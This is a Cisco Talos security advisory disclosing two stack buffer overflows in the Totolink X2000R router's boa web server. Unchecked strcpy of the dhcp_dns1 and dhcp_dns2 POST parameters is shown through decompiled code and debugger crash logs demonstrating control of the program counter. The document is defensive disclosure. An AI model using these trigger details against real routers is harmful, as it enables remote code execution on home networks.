TALOS-2026-2396
CVE-2026-42025,CVE-2026-42026
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327)
X2000R - https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/242.html
9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
The Totolink X2000R is a popular budget gigabit home router primarly found in eastern markets. Supporting IPV6, WPA3, mesh capabilities among other features, the Totolink X2000R is a solid choice for the price point.
The Totolink X2000R mainly relies on the standalone boa binary for all web administration and subsequent configuration. While normally a security risk in itself due to the age, it appears that the version running on the X2000R has been patched. Regardless, for the current set of vulnerabilities we only pay attention to the Totolink-specific issues, so we start from the point where authentication has already occurred via the /boafrm/formLogin webpage, and then we can successfully interact with another /boafrm/form* page, each of which have a corresponding callback. For the current vulnerability we examine the /boafrm/formIpv6Setup page, which leads us into the formIpv6Setup() function:
We can skip looking at most of the code, it’s only really worth noting that the get_from_postbody() function lets the program read parameters that we pass in via HTTP post parameters. Also for this bug in particular, we read in the targetAPSsid HTTP POST parameter in at [1]. Continuing on to the portion of the function where the targetAPSsid is used:
00457884 int32_t formIpv6Setup(struct client* arg1, int32_t arg2, int32_t arg3)
// [..]
0045790c char* redirect-url = get_from_postbody(cli: arg1, "submit-url", &cgi_var_pref)
00457924 char* pram_update = get_from_postbody(cli: arg1, "update", &cgi_var_pref)
We only really need to note that the get_from_postbody function is the method through which the program reads in our HTTP POST parameters. Continuing on, we examine how to reach the dhcp networking configuration section of this function to hit our vulnerable parameters.
00457eb0 int32_t tmp_28 = atoi(str: get_from_postbody(cli: arg1, "wan_enable", &cgi_var_pref)) // [1]
00457eac apmib_set(0x180, value: &tmp_28)
00457eb8 int32_t var_38
00457eb8 int32_t* out_1
00457eb8
00457eb8 if (tmp_28 != 0)
004579fc char* OriginType = get_from_postbody(cli: arg1, "OriginType", &cgi_var_pref)
00457a08 char* dnsMode = OriginType
00457a08
00457a04 if (OriginType != 0)
00457a20 tmp_28 = atoi(str: OriginType)
00457a1c apmib_set(MIB_IPV6_ORIGIN_TYPE, &tmp_28) // [3]
Rather obviously we need the WAN to be enabled at [1] before we can hit any of our vulnerable code paths. More specific is that the OriginType HTTP POST parameter [2] must be equal to 0x2, as this is stored within the MIB_IPV6_ORIGIN_TYPE flash configuration at [3], which will be utilized later to choose whether we’re configuring the WAN port for PPPOE, static networking, or dhcp. By setting OriginType to 0x2 we can hit the following code:
00457cb4 int32_t origin_type = apmib_get(MIB_IPV6_ORIGIN_TYPE, out: &tmp_28)
00457cc0 int32_t _origin_type = tmp_28
00457cc0
00457cbc if (origin_type == 0)
00457a40 return puts(str: "get MIB_IPV6_ORIGIN_TYPE failed")
// [...]
00457e50 else // [1]
00457e70 strcpy(dest: &dnsoverflow_1, src: get_from_postbody(cli: arg1, "dhcp_dns1", &cgi_var_pref)) // [4]
00457dc8 strcpy(dest: &dnsoverflow_2, src: get_from_postbody(cli: arg1, "dhcp_dns2", &cgi_var_pref)) // [5]
00457dd0 value_4 = &dnsoverflow_1
A stack-based buffer overflow exists in the dhcp_dns1 parameter which is is directly copied to the stack at [4] without any checks or restrictions whatsoever. As such, this easily leads to arbitrary code execution
Breakpoint 1, 0x00457e70 in ?? ()
[>_>]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x004afea0 | s3 : 0x00000000
v1 : 0x00000000 | s4 : 0x00000000
a0[S] : 0x7fc5f8a8 | s5 : 0x00000001
a1 : 0x00000001 | s6[H] : 0x004c566c
a2[L] : 0x7782e2d0 | s7 : 0x0000000d
a3 : 0x00000001 | t8[X] : 0x0048c0dc
t0 : 0x77834628 | t9[L] : 0x77cff8bc
t1 : 0x77834628 | k0 : 0x00000000
t2[H] : 0x004afde0 | k1 : 0x00000000
t3 : 0xfffffffc | gp[L] : 0x77d1b020
t4 : 0x00000020 | sp[S] : 0x7fc5f850
t5 : 0x00000001 | ra[X] : 0x00457e6c
t6 : 0x000000a0 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr[H] : 0x004980f0
s0[H] : 0x004c4d90 | pc[X] : 0x00457e70
s1 : 0x00480000 | fcsr : 0x00000000
s2 : 0x00000002 | restart : 0x00000000
***********************************************************************************
0x457e64: jal 0x40f600
0x457e68: move a0,s0
0x457e6c: addiu a0,sp,88
=> 0x457e70: jal 0x47bf60
0x457e74: move a1,v0
0x457e78: lui a1,0x48
0x457e7c: addiu a2,s1,-32576
0x457e80: b 0x457dbc
0x457e84: addiu a1,a1,-30260
***********************************************************************************
#0 0x00457e70 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x57e70)
***********************************************************************************
[<_<]> x/1s $v0
0x4afea0: 'A' <repeats 200 times>...
[x.x]> c
Continuing.
warning: GDB can't find the start of the function at 0x457e70.
warning: GDB can't find the start of the function at 0x457e70.
[Detaching after fork from child process 9582]
Program received signal SIGBUS, Bus error.
0x42424242 in ?? ()
[?.?] uhhhh...? Unhandled signal, gg. SIGBUS
[^~^]> !ls
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3 : 0x41414141
v1 : 0x00000001 | s4 : 0x41414141
a0 : 0x00000002 | s5 : 0x41414141
a1[S] : 0x7fc5f804 | s6 : 0x41414141
a2[S] : 0x7fc5f7e8 | s7 : 0x0000000d
a3 : 0x00000000 | t8 : 0x00323a3a
t0 : 0x00000000 | t9[L] : 0x777b4830
t1 : 0x0230a72f | k0 : 0x00000000
t2 : 0xfffffffc | k1 : 0x00000000
t3 : 0x00109412 | gp[L] : 0x77836400
t4 : 0x00000000 | sp[S] : 0x7fc5f9a0
t5 : 0x00000000 | ra : 0x42424242
t6 : 0x00000000 | status : 0x0000f413
t7 : 0x31303032 | badvaddr : 0x42424242
s0 : 0x41414141 | pc : 0x42424242
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x42424242
#0 0x42424242 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
A stack-based buffer overflow exists in the dhcp_dns2 parameter which is is directly copied to the stack at [5] without any checks or restrictions whatsoever. As such, this easily leads to arbitrary code execution
Breakpoint 1, 0x00457dc8 in ?? ()
[o.o]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x004afd00 | s3 : 0x00000000
v1 : 0x00000000 | s4 : 0x00000000
a0[S] : 0x7fc90568 | s5 : 0x00000001
a1 : 0x00000001 | s6[H] : 0x004b5e8c
a2[L] : 0x76e162d0 | s7 : 0x0000000d
a3 : 0x00000001 | t8[X] : 0x0048c0dc
t0 : 0x76e1c628 | t9[L] : 0x772e78bc
t1 : 0x76e1c628 | k0 : 0x00000000
t2[H] : 0x004afc78 | k1 : 0x00000000
t3 : 0xfffffffc | gp[L] : 0x77303020
t4 : 0x00000020 | sp[S] : 0x7fc90550
t5 : 0x00000001 | ra[X] : 0x00457dc4
t6 : 0x00000070 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr : 0x76d25139
s0[H] : 0x004b55b0 | pc[X] : 0x00457dc8
s1 : 0x00480000 | fcsr : 0x00000000
s2 : 0x00000002 | restart : 0x00000000
***********************************************************************************
0x457dbc: jal 0x40f600
0x457dc0: move a0,s0
0x457dc4: addiu a0,sp,24
=> 0x457dc8: jal 0x47bf60
0x457dcc: move a1,v0
0x457dd0: addiu a1,sp,88
0x457dd4: jal 0x47b8d0
0x457dd8: li a0,10088
***********************************************************************************
#0 0x00457dc8 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x57dc8)
***********************************************************************************
[>_>]> x/1s $v0
0x4afd00: 'A' <repeats 200 times>...
[<_<]> c
Continuing.
[Detaching after fork from child process 9919]
[<_<]>
Program received signal SIGBUS, Bus error.
0x42424242 in ?? ()
[?.?] uhhhh...? Unhandled signal, gg. SIGBUS
[x.x]> !ls
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3 : 0x41414141
v1 : 0x00000001 | s4 : 0x41414141
a0 : 0x00000002 | s5 : 0x41414141
a1[S] : 0x7fc90504 | s6 : 0x41414141
a2[S] : 0x7fc904e8 | s7 : 0x0000000d
a3 : 0x00000000 | t8 : 0x41414141
t0 : 0x00000000 | t9[L] : 0x76d9c830
t1 : 0x87c98b80 | k0 : 0x00000000
t2 : 0xfffffffc | k1 : 0x00000000
t3 : 0x87c98b81 | gp[L] : 0x76e1e400
t4 : 0x00000000 | sp[S] : 0x7fc906a0
t5 : 0x00000000 | ra : 0x42424242
t6 : 0x00000000 | status : 0x0000f413
t7 : 0x41414141 | badvaddr : 0x42424242
s0 : 0x41414141 | pc : 0x42424242
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x42424242
#0 0x42424242 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
***********************************************************************************
2026-06-16 - vulndev@cisco.com - Initial Vendor Notification
2026-06-23 - vulndiscovery@external.cisco.com - Follow-up sent
2026-06-25 - fae_hardware@zioncom.net - Vendor Acknowledged
2026-06-25 - vulndiscovery@external.cisco.com - Resent all notifications
2026-07-16 - vulndiscovery@external.cisco.com - Follow-up sent
2026-09-15 - vulndiscovery@external.cisco.com - Follow-up sent
Lilith Wyatt of Cisco Talos